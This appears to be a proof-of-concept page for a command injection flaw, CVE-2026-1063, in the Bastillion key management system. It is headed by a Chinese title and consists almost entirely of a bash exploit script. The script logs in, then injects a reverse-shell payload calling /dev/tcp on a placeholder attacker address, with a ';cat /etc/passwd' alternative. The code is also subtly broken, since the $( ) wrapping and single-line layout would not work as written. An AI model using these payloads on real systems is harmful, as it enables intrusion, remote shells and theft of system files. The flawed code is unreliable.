CVE-2026-1063: Bastillion Public Key Management System命令注入漏洞

#!/bin/bash # CVE-2026-1063 PoC - Bastillion Command Injection # Affected: bastillion-io Bastillion <= 4.0.1 # Component: Public Key Management System (AuthKeysKtrl.java) TARGET_URL="http://target-server:8080" USERNAME="admin" PASSWORD="password" ATTACKER_IP="attacker-ip" ATTACKER_PORT="4444" # Step 1: Authenticate to Bastillion COOKIE_JAR=$(mktemp) curl -k -c $COOKIE_JAR -d "username=$USERNAME&password=$PASSWORD" \ "$TARGET_URL/login" -L 2>/dev/null # Step 2: Inject malicious command via Public Key Management # Using reverse shell payload with command injection PAYLOAD="$(bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1)" # Alternative: Direct command execution payload ALT_PAYLOAD=";cat /etc/passwd #" curl -k -b $COOKIE_JAR \ -X POST \ -d "publicKey=$PAYLOAD" \ -d "description=Malicious Key" \ "$TARGET_URL/api/keys/add" 2>/dev/null echo "[*] Payload sent. Check listener on port $ATTACKER_PORT" rm -f $COOKIE_JAR